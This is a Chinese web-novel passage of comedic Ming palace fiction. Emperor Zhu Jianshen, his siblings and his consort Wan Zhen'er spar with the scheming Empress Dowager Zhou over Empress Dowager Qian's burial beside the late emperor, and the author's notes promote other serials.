这不,从朱见泽踏足慈安宫的那一刻起,周太后就在骂女官,朱见深来了,周太后没有收敛,反而骂得更加起劲。 朱见泽:“看母后的样儿,已经在逐渐好转,不然怎么有力气骂人。” “皇帝,你可是哀家亲生的。怎么先去了钱氏那里,而不是哀家这里。” “钱母后乃是嫡母。”朱见深淡淡的说。“相信不用朕解释,母后应该能知晓‘嫡’的份量。” 周太后差点被哽得说不出话来。 的确,周太后到朱祁镇死,都只是皇贵妃。并且之所以会被封为皇贵妃,还是因为朱见深这个儿子。 这还罢了,最最让周太后伤心的是,朱祁镇临终之时还有遗命,说只愿和钱太后合葬。 周太后当时知道后心里就堵着一股气,几度想要搞破坏,结果亲生儿子朱见深不给力,居然否了将钱太后另葬,而她和朱祁镇合葬的提议。 导致很长一段时间,周太后都极度看朱见深不顺眼,各种找麻烦。而这又导致了朱见深和周太后的母子关系不好。有时候只需要万贞儿从中挑拨几句,周太后就会跟吃了火|药一样,一点就炸。 现在呢,周太后根本就不需要挑拨,而是满心的火气。 “钱氏死了没?”周太后又问,还道。“别以为死了就能和先帝爷合葬,哀家为先帝爷生儿育女,才最该和先帝爷合葬。钱氏那下不了蛋的老母鸡,以前霸占皇后的位置,现在还要霸占和先帝爷合葬的机会。真是活该她下不了蛋!” 朱见深:“” 朱见泽:“” 朱见泽注意到朱见深的脸色真的超级难看,忙开口说话。“母后,其实吧,这人都下不了蛋。” 周太后顿时被孝顺的小儿子堵了个正着,一口气上不去下不来,差点将她给憋死。 “六郎,你要不要听听你说的什么话。”周太后捂着胸口,虚弱无比的说。“哀家可是你亲娘,你怎么能帮着抢了哀家后位的钱氏说话。” 朱见泽:“父皇临终之前说过,钱母后一日是嫡母,终生是嫡母,母后你已因皇兄成为太后娘娘,就不必时时刻刻紧盯着钱母后不放了。” 周太后:“凭什么,她凭什么啊!哀家才是为先帝爷” “生儿育女的。”朱见深接过周太后反复强调的话茬,无奈的说。“母后,父皇一生有九子八女,不独母后一人为父皇生儿育女。钱母后贤德,颇受父皇敬重,乃合格的一国之后。而母后你” 朱见深摇头,决定还是要说出大实话来,哪怕大实话超级扎周太后的心。“除了会生孩子外,母后觉得自己哪点比得上钱母后?” 周太后:“” 估计这回是真的把周太后给气着了,好半晌,周太后都没有反应。之后呢,周太后更是整个人变得好似生无可恋起来。 然鹅事实上,就周太后这样的人,哪里有可能会变得生无可恋。她只不过是换了一种方法,让朱见深支持她不想让钱氏和朱祁镇合葬的做法。 对此,朱见深虽说没有察觉,但敏锐的认为有哪里不对。 “六弟,你来说说,母后这又是准备闹哪一出?”朱见深转而当着‘生无可恋’的周太后的面,询问朱见泽。 朱见泽:“” 不是很想说话,但又不得不说。 朱见泽无奈的叹了一口气,不情不愿的说。“大概,嗯,应该是,母后想要装可怜,让皇兄你心软吧。” 朱见深了然的点头,还了一句:“原来是这样啊。” 周太后此时被气得什么话都不想要说了,她连对自己最偏疼的小儿子都没了好脸色,更别说对朱见深了。 “你们俩都给哀家滚。有你们在哀家跟前,哀家别说病好了,人都会折寿10年。” 周太后手颤抖的指着殿外,“怎么?还不走,是要等着哀家送你们来出门?” 朱见深和朱见泽这对‘带孝子’兄弟对视一眼,双手同时拱手一抬,居然异口同声的来了一句。 “好嘞,儿子/朕这就走,母后不用特意送。”—— 作者有话说:更新啦啦啦! 明天大概是下午更新,依然六千更新量。 另外推荐朕的后宫之一的文文。 【穿书流放文:谁不爱吃绝户】 ID:10322145 文案:双洁:高调恶女作精大小姐v又争又抢腹黑大可怜钱袋子男主 海棠穿书到一本流放np甜宠文,开局就是被家人逼嫁家暴纨绔男。 看着居高临下围住自己的几口人,这配置:吃绝户的老爹,恶毒精明的继母,柔弱伪善的团宠继妹。 安海棠拳头紧攥,嘴唇颤抖,这简直要疯。 啊啊啊!爽疯了! 天知道刚从年代文穿回来,她总为那个世界的人不够恶毒而束手束脚。 穿书第一课,海棠决定效仿便宜老爹吃绝户,走大女主路线: 1、安家 2、继母家 3、东北方向银矿储备岛 4、未婚夫家?(不确定再看看) 后来有个腹黑可怜的漂亮老男人(原未婚夫小叔)捧着钱袋子凑到她跟前:“女王大人,都是你的!” “钱给你,命也给你!” 海棠摸着这张漂亮的脸蛋悟了,作为天命大女主,她的后宫终于来了。 * 解流年天生蓝瞳,出生就被生母丢弃。 沦落花楼十载,绝境时遇到养父母,以为得获新生,不想却是觊觎他魅惑风流的样貌。 少年拿起屠刀,自此台州多了一个阴狠毒辣的“交际花”。 亲生父亲找来,解流年才得知自己竟然是将军幼子,他只觉得这个世界有病。 直到一个恣意若骄阳的身影闯入,那是他曾经世界里唯一的善意,而如今他心生恶念觊觎这束光。 架空乱世,非正剧 小甜饼恋爱主线,权谋背景单薄,全靠女主装备硬刚。《 》 30-40 第31章 第031章 朱见深和朱见泽,不愧是同…… 朱见深和朱见泽, 不愧是同母的亲兄弟,嘴巴就跟淬了毒一样,能将人郁闷死,周太后如今就感受到了一加一大于二的效果。 别人家有一位大孝子, 都容易哄堂大孝, 周太后有两。不对, 还要算是重庆公主。 重庆公主因着是长女, 朱祁镇的第一个孩子。备受朱祁镇的宠爱。而那个时候, 周太后为了抢先生下朱祁镇的长子, 确定自己的地位, 将重庆公主忽略个彻底。 重庆公主在周太后那儿的待遇, 和朱见深一致。但比朱见深好很多的是, 重庆公主因着是公主,不是皇子的缘故,在朱祁镇作得自己没有皇帝位置后,重庆公主的待遇,比照以往。反倒是朱见深的处境, 从天堂跌落地狱。 在这样的情况下, 周太后选择当没有朱见深这么个儿子,转而亲近重庆公主。 然而重庆公主不缺母爱,人又有点儿冷情。自然周太后主动的亲近动作, 并没有什么作用,以至于后期, 周太后将所有的慈母心肠,都集中在了朱见泽的身上。 可惜过于沉重的母爱,让朱见泽不堪重负,最终朱见泽‘奇迹’一般, 衍生出的带孝子属性,和朱见深如出一辙。 有这样二子一女,真的是周太后的福气。没见生病了在太医们害怕担责采取保守治疗的情况下,依然中气十足,还想要再次搞出骚操作,不准钱氏和朱祁镇合葬。 没有成功,周太后又被气了一回。没曾想,醒来后,周太后反而人更精神了。倒是钱太后病情越发加重,已经达到了病入膏肓的地步。 这段时间,朱见深和万贞儿轮流守着钱太后,周太后那边则是朱见泽、重庆公主轮着伺候。 到了二月底,钱太后病情加重,此时再下猛药,其实已经来不及了。但朱见深询问钱太后的意思后,还是责令太医下猛药,为钱太后多争取了几天清醒的日子。 三月初,缠绵病榻的钱太后溘然长逝。原本已经好转的周太后听到这个消息后,立马蹦跶起来。 “钱氏无子,不配为中宫之主,皇帝要是还认母后就将钱氏另葬他位。” 这话还不是周太后将朱见深叫去慈安宫说的,而是周太后带着激动的心,颤抖的手,亲自跑到乾清宫,当着朱见深和内阁大臣们的面说的。 朱见深没有吭声,而内阁大臣们都震惊了。这周太后也太有想法了吧。 这是将先帝爷的遗命当摆设啊! “周太后娘娘,这不和规矩。”商络率先开口,否了周太后的异想天开。 “哀家不想百年之后,和钱氏葬在一块儿。” “周太后娘娘,大可不必担心。先帝爷遗命,说是只想和钱太后娘娘合葬。先帝爷虽说已仙逝几年,但当今天子至孝,定然不会违背先帝爷的遗命。” 周太后气得脸漆黑,刚想反驳的时候,李贤跟着道。“周太后娘娘,因当今天子登基得封皇太后,与钱太后娘娘两宫太后并立。钱太后娘娘乃是皇帝的嫡母,周太后娘娘乃是皇帝的生母,都有资格随葬皇陵,伴仙逝的先帝爷左右。” “一左一右,两樽灵柩,周太后娘娘可争左右,万万不可张扬跋扈,挤兑先帝爷嫡后,坏了祖宗规矩。” 周太后也是有几分急智的,被内阁几位大臣说了一通,居然想到了歪招儿。 只听周太后这样说道。“哀家和先帝爷感情深厚,钱氏可比不了,她除了在你们文人中有贤德之名还有什么?就像那万氏” 周太后看向朱见深。 “皇帝,你是哀家的儿子,哀家知你心思,哀家今儿在这儿,就当着大臣们的面问你,皇帝你百年之后,是想要和王氏合葬,还是万氏合葬。” “母后,不一样。”朱见深开口道。“钱母后乃元后,王氏则为继后。母后尚且因子得封太后,焉知贞儿不能因为鹤归,登上太上皇后的宝座!” 周太后:“但是合葬,皇帝你” 朱见深打断了周太后的话,“母后,贞姐不是你,他懂朕的为难。” 周太后:“” ——就说这不孝子生来没用! ——这种重要的场合,不围着生母说话就罢了,还要拆生母的台。 周太后只觉自己的心肝儿,都快要被气炸。 内阁大臣你看我我看你,都没有帮周太后说话的意思。本身这件事就是周太后的不对,也太霸道,太无理取闹了。 不想钱氏和朱祁镇合葬,当初就该想办法,让朱祁镇因无子的原因废掉钱氏,钱氏被废,不是朱祁镇的元后,自然也没资格和朱祁镇合葬。 但是现在 不行绝对不行! 钱太后才刚仙逝,灵柩还在慈宁宫放着,周太后就迫不及待的闹着不跟钱太后合葬。 这不是公然打脸,是什么。 要是朱见深这位皇帝有样学样儿,等等 内阁大臣们神色凝重起来。 不怪他们喜欢脑补,主要他们大明的皇帝,一个塞一个的有个性(奇葩)。 朱见深对万贞儿,那是千度滤镜,不管万贞儿做什么都是对的。即使看着不对,万贞儿之所以这样做,也是有苦衷的,反而朱健身不会生气,只会更加怜惜他的万姐姐。 朱见深就是百分之百纯种的恋爱脑,一遇到万贞儿,他的智商就归零。当然万贞儿也是爱他的,或许没有朱见深那么爱,但也是爱的,肯定不会坑朱见深 而朱见深呢,其实他早就打定好主意,怎么应对帝后合葬的规矩。既然只能皇后/太后才能合葬,那么在死之前,废掉王氏不就好了嘛。 王氏被废,不是皇后,自然也就没资格和朱见深合葬。而万贞儿,即便群臣强烈反对立他为后,那也没什么,反正有朱佑棱在。等朱佑棱登基以后,万贞儿自然和周太后一样,因子得封皇太后。 看看瞧瞧,朱见深在这种事情,简直渣得要死。幸好一直藏在心里没有说出来,不过说出来其实也没有事儿。 万贞儿不会有意见,还挺高兴,而朱佑棱拜托,受益人是亲娘,王皇后和他朱佑棱又没有什么关系,谁管王皇后下场如何。 朱佑棱自认不是渣男,但他是很冷情的人。除开小亲爹和美人亲娘外,其他的亲人在他眼中都属于外八路,碰面了打着招呼,其余的不能想不要想。 就朱佑棱这种遗传了小亲爹奇葩特质的家伙,又抠门又小气,没把周太后给气死,已经算周太后命硬福气大了。 现在周太后的主要目标放在朱见深这儿,闹腾那么多次,其实周太后已经算了解,如果朱见深不同意,怕是她再闹腾,哪怕去跪太庙,大概都不能成功。 不行! 绝对不行! 一想到百年之后,还要和钱氏那抢了她位置的女人,一块儿合葬,周太后就觉得呼吸困难。 她想要和先帝爷合葬,不想和钱氏那女人合葬啊! 周太后抓狂,以至脸部过于狰狞,差点吓坏小朋友。 哦,这里没小朋友,倒是有小男人! 朱见深惊魂未定的拍拍胸口,好悬差点喊救命、护驾! “母后,你且回慈安宫好好休息。”朱见深努力恢复平静的说:“既然母后不愿意百年之后和钱母后待在一块儿,那按照皇贵妃的规则,随葬皇陵吧。” 朱见深貌似很为难的说。“裕陵那边的妃园,都是和父皇的陵墓相望,想来母后生前看惯了父皇和钱母后相伴的场景,百年之后,应该也能习惯,在裕陵妃园那里,遥望父皇和钱母后。” 内阁几位大臣:“” 周太后:“” 伺候奉茶的怀恩公公:“” “你可真是个大孝子啊。”周太后几欲喷血,恨得牙痒痒的说道。“真孝顺,有你这个儿子,真是哀家的福气。” 本是阴阳怪气的话语,但朱见深就是有本事,将话听成了夸奖。甚至还深以为然的点头,表示自己就是这样孝顺的好孩子。有他这样做皇帝的儿子,真是周太后的福气。 几位内阁成员,也是狭促的。知晓周太后不太待见朱见深,偏偏顺着朱见深的话,开始夸奖朱见深好孝顺,有这样的孝顺好大儿,真是周太后的福气。 周太后原本黑漆如墨的脸,直接绿了。 “别逼着哀家去太庙哭。” 周太后使出杀手锏,然后就被怀恩公公请走了。 “后宫不可干政的牌子挂着呢!”朱见深思索片刻,得出一个结论。“哦,忘了母后不识字。” 几位内阁大臣:“” 不提周太后被请走后,朱见深和几位内阁大臣继续商量国家大事。安喜宫里,倒是很温馨又平静。 三月初,乍暖还寒,安喜宫里依然火龙烧得旺旺的。万贞儿换上了春装,此时正靠坐在软塌上,和宫娥们一起打络子。 万贞儿的女红一直很好,年轻时候就靠着一手好女红,上下打点,才能带着朱见深活着。 朱佑棱在旁边玩着鲁班锁,很安静,没有闹腾着要出去玩。 小红和小翠,在小厨房忙碌。平日里朱见深来的话,小厨房的作用只是开火煲汤。 今儿朱见深大概要在乾清宫待一整天,万贞儿嫌麻烦,就不准备跑御膳房,而是让小厨房准备今日份的三餐。 早上酒酿丸子,燕窝粥,芝麻饼配肉酱。中午的时候,询问朱佑棱的意见,准备了鱼糜粥,燕窝粥以及山药粥等三种粥。 “不知万岁爷那儿,是否已经谈完军机要事。”万贞儿感叹,随即打发人去乾清宫瞧瞧。 “等等,不必去瞧,直接将煮的一锅山药粥带上,再配几个小菜,万岁爷和阁老们都在,总不好让万岁爷一个人用粥,将阁老们撇开不理会。” “娘娘放心,奴婢们知晓该怎么做。”小红和其他宫娥一起屈膝告退,之后就一块儿浩浩荡荡的往乾清宫送汤水。 也是巧了,小红领着宫人到的时候,朱见深和几位阁老刚结束一个议题。 正准备让怀恩公公打发人去御膳房让准备膳食,吃了再继续的时候,小红领着宫人送来热气腾腾,熬得烂熟的山药粥并几个小菜。 “快来尝尝。”朱见深乐呵呵的说。“安喜宫小厨房的厨子手艺很不错。几位爱卿尝尝。” 御膳房距离乾清宫有一段距离,夏日还好,天气寒冷的时候,一般在路上的时候,就凉了。 这不,山药粥送出的时候,滚烫温度高。等此时送到乾清宫,已经是温热的了。 而这,还是因为安喜宫距离乾清宫比较近的缘故,不然将粥水从安喜宫送来乾清宫,准成凉粥了。 “万岁爷客气。” 商络拱手道谢,就和其他阁老分食山药粥。暖暖的山药粥下肚,驱散了因饥饿带来的寒冷。 用完简单的膳食,还吃了一些糕点,朱见深继续和几位内阁大臣又开始讨论军机要事,而这一讨论,就持续到了黄昏方才停止。 这一回,几位内阁大臣婉拒了朱见深发出的一起用膳的邀请。冒着突然就下起来的小雨离宫各自回府。 朱见深自然不会留在乾清宫,单独一个人睡觉。哪怕下小雨,即便下刀子,朱见深都会风雨无阻的跑去安喜宫,让他的万姐姐哄他睡觉。 万贞儿本来已经打算睡了,没曾想朱见深居然下雨天还往安喜宫跑,顿时惊讶又高兴。 “快去取干净的衣裳。”万贞儿吩咐宫人,又忙不迭亲自上手,让朱见深去洗澡。 “本来我打算沐浴更衣休息的,结果深郎来了。”万贞儿含笑的说。“深郎先沐浴更衣,我随后就成。” “对了,想必深郎还未用膳,小翠你去小厨房看看,合适的话,就给万岁爷煮一碗银丝面。” “好嘞,奴婢马上去去做。” 小翠赶紧动身去小厨房做了一碗银丝面,鸡汤打底,烫了几颗小青菜,又煎了荷包蛋。最后还撒了点葱花。 朱见深的确饿了,银丝面送上来,一大碗的量,很快就吃得见底。 万贞儿又问:“要再吃点吗?” 朱见深摇头,却是问起朱佑棱的行踪。 万贞儿正要回答,却见朱佑棱拖着枕头,从东暖阁出来。 “娘”朱佑棱高声唤道。“今晚儿子要跟你睡。” 万贞儿还未回答,朱见深就率先坐不住。“鹤归,你已经是成熟的大孩子了,自己一个人睡多好啊。” 朱佑棱:“父皇对于成熟的大孩子的标准是什么?儿子现在才三岁(虚岁),正是需要母亲的时候。父皇你怎么能因为自己的原因,就剥夺儿子需要母亲的权利呢。” “别说有的没的!”朱见深坚决不同意。“你也说了你才三岁。万一尿床怎么办?” 朱佑棱:“” 意识到朱见深这老登儿居然往他的小小鸟位置看了过去,朱佑棱下意识的就用手捂档。 “你什么眼神。”朱佑棱恼羞成怒,奶声奶气的指责朱见深的不正经。 “我多大,父皇你多大?” “朕又没说小。鹤归你太敏感了。”朱见深摸摸鼻子,有些尴尬的说。 其实真的不怪朱佑棱敏感,主要夏天的时候,朱佑棱和朱见深一块儿洗澡,朱见深这不要脸的老登儿,居然趁机弹他的小小鸟,还边弹边嫌弃,怎么像小虫子。 当时把朱佑棱气得喲,直接发出惊天地泣鬼神的嚎哭,惹得一向对朱见深很宠的万贞儿,都忍不住发火。 “鹤归才多大,深郎你不要一天到晚的欺负鹤归。” “就是。”朱佑棱臭屁的哼了哼,“今晚儿子就要跟娘睡,要是父皇想宿在安喜宫,大可以睡东暖阁嘛。” 朱见深:“” 这破儿子,真的可以丢了不要了! 朱见深生气,又舍不得吼人,好在朱佑棱只是逗逗他而已。这不临近睡觉的时候,朱佑棱自动自觉的又带着枕头回了东暖阁。倒头就睡,全程用时不超过三分钟。 朱见深看到都惊呆了,好半晌才回过神,冲万贞儿感叹。“贞姐,鹤归真是奇才啊,真不愧是朕的儿子。” “倒不用如此夸奖。” 万贞儿不怎么想理会朱见深、朱佑棱这对父子俩的交锋。说了一小会儿话,就把话题转到了周太后的身上。 “今儿太后娘娘闹到几位内阁大臣的面前去了?” 朱见深点头,很是苦恼的道。“母后哭着闹着,让朕不准将钱母后和父皇葬在一块儿。” 万贞儿:“” “我记得好像先帝爷去世后,太后娘娘就一直闹着不同意钱太后和先帝爷合葬,如今钱太后刚死,灵柩还放在慈宁宫,太后娘娘又闹,这不是让天下人看皇家的笑话!” “朕不想同意,也不能同意。”朱见深吐槽道。“母后就只会跟朕闹腾,要是当初拿出跟朕闹腾的架势跟父皇闹,说不得父皇早就废掉钱母后的皇后之位了。” 当初不作为,结果先帝爷死了,跑来闹腾亲儿子了。有时候想想,朱见深都觉得自己是大冤种,并且还是爹不疼娘不爱,‘好处想不起你,坏处就你背锅’的大冤种。 “你是皇帝,坚决不同意,太后娘娘也就只能认了。”万贞儿很客观的说。“深郎要是不怕百年之后下去被先帝爷问责,大可以同意太后娘娘的无理取闹。” 都无理取闹了,自然没同意的必要。 朱见深慎重的点头,表示自己知道了,一定会努力坚持,绝对不要同意这种会被亲爹半夜趴窗户,连打带骂的倒灶糟心事儿。 周太后真的怎么就那么作呢! 朱见深直男,搞不懂小作精老了后会变成老作精。但杀伤力成倍增加的buff,其实朱见深已经体验过很多次。 没有一次,朱见深不挨骂的!仿佛骂皇帝骂亲儿子,已经成了周太后生命不可或缺的一部分。 旁人每天起床的第一件事情是洗漱,然后吃早餐。而周太后呢,起床作的第一件事情,永远是‘吊嗓子’,变着花样儿的说朱见深不孝。 哦,现在不孝的名单,又多了两人,重庆公主和朱见泽。重庆公主还好一点,毕竟年龄大,又是两个孩子的妈,心理承受能力很不错。而朱见泽呢 一直享受周太后偏爱的他,面对周太后的一哭二闹三上吊,简直想跟周太后一块儿对哭。 这不,在朱见深已经拉着万贞儿谈论人生真谛的时候,又成功作了一天的周太后想着白天居然被怀恩这个死太监捆着送回慈安宫,就整个人都不好了。 根本睡不着,一想起就心肝儿疼。周太后觉得丢脸之余,不能她一个人难受心肝儿疼,居然将已经住在慈安宫的朱见泽提拉起床,开始对着各种哭泣。 朱见泽整个人都丧了,特别的生无可恋。偏偏周太后看不到,还觉得朱见泽之所以脸色那么难看,是跟她同仇敌忾。 朱见泽:“” 崩溃捂脸,朱见泽再也忍受不住的扯开嗓子嚎哭。 “姐,阿姐你在哪,快来救救你可怜的六弟。你可怜的六弟再这样下去,明年的今日,就可以给你可怜的六弟烧周年。” 朱见泽越嚎越哭越伤心,最后干脆一屁股坐在光滑的地板上,哭得那叫一个撕心裂肺,活像在哭丧似的。 自然而然,去和太妃挤一个房间的重庆公主被哭醒了。而太妃们呢,同样被朱见泽穿透能力巨强的嚎哭声给惊醒了。就连隔壁慈宁宫,也听得十分的清晰。 有为钱太后守灵的太妃问:“这是,周太后娘娘薨逝了?” 大家面面相觑,许久才有人道。“要不去慈安宫瞧瞧。” 住慈宁宫的太妃们稍微议论几句,就决定一块儿去慈安宫,结果还没跨进慈安宫的大殿,就听到周太后中气十足的话语。 “重庆,你什么态度,哀家是六郎的亲娘,难道哀家还能害他不成!” 诸位太妃:“” 真是造孽!怎么就让周太后这极品接连怀孕生子,还生下了当今皇帝呢。 看在当今皇帝的面上,谁敢和周太后对怼。 哦,还是有人的。 这不,她的大女儿重庆公主就在和周太后对怼。 “你要发癫,就滚去裕陵为父皇守灵,而不是在宫里见天的搅风搅雨。”重庆公主摸了摸幼弟的狗头后,更加生气的怼道。 “这宫里没有你在,大家的日子都要过得无比舒心。母后,儿臣劝你,最好懂‘惜福’二字。不懂还闹,就不怕父皇被气活,半夜爬窗户找你算账!”—— 作者有话说:啦啦啦更新! 顺便推荐姬友的年代文! 喜欢就收藏一个呗! 文名:《错嫁年代文炮灰后》 作者:已然迟暮 文案:临近毕业,邵箐为了不下乡只能答应舅舅安排的相亲。 好消息:军工厂工作的舅舅找到一个非常优秀的技术员 坏消息:人还没见到,就被继姐抢走了 舅舅得知消息后,带着人冲到邵家大闹一场,却没想到继姐理直气壮的说:“不就是抢了一个相亲对象吗?邵箐你别闹了,我把军官让给你总可以吧?” 邵箐:“你不要的人往我这推,还觉得是我占便宜了?” 邵箐怒上心头,不是在发疯就是在发疯的路上,硬是从继母手里拿到一笔不错的补偿金才消停下来。 拿着这三百块巨款,邵箐想着要不要找舅舅借点钱,买一个工作留城。 结果两天后,为了争一口气的舅舅到处托关系,为邵箐拿到了一张军工厂联谊会的入场券。 — 乔晓红做了一个梦以后觉醒了。 于是不愿嫁给年代文对照组苦瓜男配的她毫不犹豫的抢走了继妹的相亲对象,也是这本年代文里的偏执男主裴文亮。 身为男主,裴文亮有着令人咂舌的家族背景,却也因为这些亲人被连累下放。 患难见真情。 乔晓红只需要在两个月后陪着裴文亮下放,苦熬两年就能跟着裴文亮回城,拿回被收走的裴家人的财产。 苦一辈子还是苦两年,乔晓红还是知道怎么选的。 然而她前脚嫁给了裴文亮,后脚就得知身为原文女主的继妹千挑万选,竟选了一个身患精神疾病,明年就要退伍的炮灰军官林景阳。 乔晓红乐了。 就算跟着裴文亮下放也时刻关注着邵箐,准备拿继妹的苦难取乐。 只是她等来等去,一直没等到邵箐被家暴,反而等到炮灰林景阳步步高升的消息。 第32章 第032章 周太后生病,最受折磨的不…… 周太后生病, 最受折磨的不是她,反而是为她侍疾的一双儿女。 朱见深那边,守着钱太后还好一点儿,可守着周太后的重庆公主和朱见泽姐弟俩, 真的称得上身心受折磨。 周太后这人其实一开始还好, 可谁让她运气好外加会生, 每生一个孩子, 脾气就见涨, 到最后膨胀到自认自己最优秀, 甚至有一段时间还认为, 钱太后是她的替身, 结果到最后替身上位, 霸占属于她的皇后位置,连死了都不让位,还要在‘合葬事宜’上恶心她。 周太后反复纠结,自觉自己的要求很合理。全都是钱氏那不要脸的错。 可惜她的歪门邪说,只将自己说得坚定, 却让给她侍疾的重庆公主以及朱见泽无语至极。 先前碍于周太后的确病了, 为了病人的身心健康,重庆公主都哄着自己和幼弟,不要跟周太后一般见识。 可结果, 周太后病的时候作,病好的时候更作。这回重庆公主直接绷不住, 谁家好母亲半夜三更不睡觉,还将未成年的幼子从温暖的床榻上挖起来,反复说人家原配夫妻不能合葬。 人家原配夫妻不配,难道你这个因子上位的就配。先帝爷在的时候, 你只是皇贵妃啊! 虽说皇贵妃是副后,皇后不在的时候,就是正儿八经的后宫之主。但前提是皇后不在了啊。 皇后在的话,那皇贵妃就什么都不是。非要拿万贞儿这位皇贵妃说事,只能说不一样。 万贞儿在朱见深心目中是最特殊的,周太后和万贞儿根本就没有可比性。 重庆公主只觉得脑门疼,怼了一通心情没有变好不说,还险些把自己气炸了肝儿。 “母后,你入宫侍奉父皇多年,哪位太妃有您有福气?儿臣乃父皇长女,皇弟又是父皇长子,六弟年幼,如今还未到封地就藩的年龄,住在紫禁城,却有兄长阿姐的疼爱。” “这不是福气,又是什么?”重庆公主语重心长的又道。“可你倒好,偏偏要计较一些莫名其妙的事儿。而且还要无理硬搅三分。现在你继续闹,除了让言官们觉得你不堪为(太)后,还能有什么好处?” 周太后依然觉得不服气,但她没有开口的机会。重庆公主根本就没有给她开口的机会,只安慰可怜的朱见泽。 结果朱见泽,也是人才。重庆公主越安慰,他就哭得越伤心。最后直接把重庆公主惹毛了,啪啪两巴掌,让朱见泽明白—— 长姐是好的,也会爱护幼弟,但要想蹬鼻子上脸,那就不好意思,直接大嘴巴伺候。 当然,挨了重庆公主的两巴掌,朱见泽并不觉得生气,相反朱见泽觉得这是长姐疼爱他的表现,不然为何打他不打长兄朱见深。 “母后。儿子有时候都在想,为什么你会是儿子的母后。别人家的母亲,都会为了儿孙考虑,而母后你,你在乎的永远是一大堆莫名其妙的东西。” “像和钱母后的争端。”朱见泽越说越激动,越发展现了带孝子的本色。“儿子就不知道母后到底在争什么,钱太后和母后您本来就不同。既然父皇在临终之时没有废掉钱母后的皇后之位,那么钱母后忽就能和母后两宫太后并立。” 周太后这回是真的要气死了。先前重庆公主这样说她,周太后生气归生气却没怎么放在心上。 包括朱见深这样说,周太后都不怎么在意。可朱见泽这么说,她巴心巴肝疼了那么久的小儿子这么说,周太后就觉得自己那颗琉璃心,被摔得四分五裂,黏都黏不回来了。 “六郎。你居然这样说母后”周太后虚弱的想要昏倒,却坚强的捂住胸口,“为什么就没人理解哀家呢。哀家只是想要和先帝爷百年之后靠得更近一点而已。亏哀家为了你们姐弟三人,吃了多少苦,流过多少泪,现在好了,你们一个个的开始嫌弃起哀家了,特别是六郎你六郎啊,你这样伤哀家的心,哀家活着还有什么意思。” 朱见泽:“” 重庆公主:“” ——这是准备一哭二闹三上吊了。 朱见泽和重庆公主对视一眼,全是无可奈何。 “都是闲的,才有那么多悲感秋殇。”重庆公主开口,直击中心。“母后,你要是真无聊了,那就养孩子,孩子闹腾,也就没心思想这些有的没的。” 正在嘤嘤嘤哭诉的周太后顿时一愣。 “万氏那女人,不可能将太子给哀家抚养。”周太后想都没有多想,直接说出这样的话来。 重庆公主:“放心,即使万皇贵妃同意将太子交由母后你抚养,皇弟也不会同意。” 就你那德性,能养出啥好玩意儿! 就算能养出来,凭着万皇贵妃的手段,你想跟她抢孩子,做梦来得比较快! “哼,哀家才不养孩子呢。” 周太后傲娇的哼了哼,到底没有继续作妖,而是挺嫌弃的挥手,让重庆公主和朱见泽赶紧滚蛋,全然忘了是因为她,大家才半夜不睡觉扎堆蹲慈安宫,不然谁愿意在还要守灵的情况下,跑到隔壁看热闹。 朱见泽听了话,立马想走,被重庆公主抓住命运的小尾巴。 “六郎先留在慈安宫,我去慈宁宫看看。” 朱见泽顿时愣住,“阿姐,你去慈宁宫干什么?” “去看看。” 重庆公主没有说的意思,只是安抚好朱见泽后,又领着来看热闹的太妃们回慈宁宫,继续给钱太后守灵。 接下来好几天无事,周太后仿佛放弃了作妖,一直到钱太后的灵柩被运出京城葬在了裕陵,周太后都没有闹事儿,一直提心吊胆的朱见深,还跟万贞儿吐槽说,“朕一直防着母后闹幺蛾子,没曾想母后居然没闹,真的太出乎朕的预料了。看来母后已经学会善良了。” 万贞儿:“” 万贞儿沉默了,好半晌开口道。“未必。” 朱见深:“???” “深郎觉得,一个惯常作妖,喜欢折腾的主儿突然安静,是学会善良不作妖了,还是在酝酿一个大的?” 朱见深:“” 朱见深倒吸一口凉气,顺着万贞儿的话往深处想,真的好吓人,却超级符合周太后的喜欢折腾的属性。 所以“母后她在酝酿什么?” 朱见深有些怕怕的捞起朱佑棱,将下巴磕在朱佑棱的脑袋上。 “朕觉得,肯定是咱们都想不到的!” 脑袋上突然增加重量,朱佑棱面无表情,表示小小的老子,现在是冷血无情的大润发杀鱼狂魔。 一条两条三条,又一条,条条鱼鱼上面的鱼鳞,都被有规律的扒了,形成朱见深三个字。 “孤想到了。”朱佑棱勇于发言。“不就是暗中捣鬼嘛。” “怎么捣鬼?”万贞儿若有所思的问。 “哎,皇祖母是太后啊,又是父皇的生母,即便两宫太后并立,钱皇祖母为尊,依然有捧皇祖母臭脚的。” 朱佑棱推开朱见深,说起了历史上周太后在钱太后死后,背地里干的糟心事儿。 历史上记载,钱太后死后,周太后欲阻挡钱太后合葬裕陵,明宪宗朱见深委曲宽譬,最后钱太后才得以合葬裕陵。 不过周太后老作精面服心不服,暗地里偷偷派人搞鬼,直接改变大明战神的陵寝设计,使自己将来也能以与英宗合葬同时,还让钱太后的灵柩和大明战神同陵墓,却异隧。 钱太后灵柩葬处距离大明战神玄堂有数丈,中间相连的隧道,还被填满了。 看起来钱太后和大明战神合葬,然鹅谁家正经原配夫妻合葬,距离数丈远? 而且说实话,周太后之前,只有嫡后才能与皇帝合葬,钱太后是嫡后,而周太后呢她是皇贵妃直接因子成为太后,能和身为嫡后的钱太后,两宫并立为太后,已经算是宗室以及言官们给与了很大的面子。 可惜周太后还是不满足,就是想要挤掉钱太后合葬的资格。哪怕没有挤掉,也要暗中搞鬼。 这样的周太后真的能有这样的皇贵妃,真是大明战神的福气。 哦,同样也是朱见深这位小亲爹的福气。 这样极品的人,千百年都难得一遇。 朱佑棱将自己‘猜测’的一席话讲完,朱见深听得那叫一个目瞪口呆。 “贞姐。”朱见深挺不知所措的看向万贞儿,第一时间寻求安慰以及不赞同。 然而万贞儿并不觉得朱佑棱的‘猜测’哪里有不对。这是基于周太后极品属性的合理猜测。 看似天方夜谭,实则就是周太后能够做出来的。 “母后哪里来的人手。”朱见深有些颓然的说。“这真的太离谱了,朕不敢相信。” “她是太后娘娘,是深郎的生母,能暗中命令工匠将皇陵改道,一点都不奇怪。深郎觉得不可思议,只是事先没有想到而已。深郎现在想想,是不是觉得鹤归的猜测最离谱却最合理。” 是周太后能干出来的事儿。 想到周太后平日里的极品行为,朱见深陷入了沉默。 “朕该怎么做?”朱见深扶额,哭笑不得的问。 “暗中派人去裕陵看看吧。”万贞儿提议道。“不是倒也罢了,可要真的如鹤归猜测的那样,深郎打算如何?” 放任不管,假装没这回事儿,还是悄咪咪的将‘改变’恢复原样儿?总要拿出章程来吧! 万贞儿提醒到这个份上,已经够可以了,万万不能直接替朱见深做决定。 